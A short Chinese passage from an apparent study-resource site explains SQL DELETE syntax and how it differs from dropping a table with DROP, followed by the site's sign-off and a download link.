語法：DELETE [table.*] FROM table WHERE criteria 語法：DELETE * FROM table WHERE criteria='查詢的字' 說明：table參數用于指定從其中刪除記錄的表的名稱。
criteria參數為一個表達式，用于指定哪些記錄應該被刪除的表達式。可以使用 Execute 方法與一個 DROP 語句從數據庫中放棄整個表。不過，若用這種方法刪除表，將會失去表的結構。不同的是當使用 DELETE，只有數據會被刪除;表的結構以及表的所有屬性仍然保留，例如字段屬性及索引。
以上就是精品學習網提供的關于經典實用SQL語句大全的內容，希望對大家有所幫助。
![下載SQL盲注總結[精選合集]word格式文檔](http://static.xiexiebang.com/skin/default/images/icon_word.png){kind=icon}
點擊咨詢 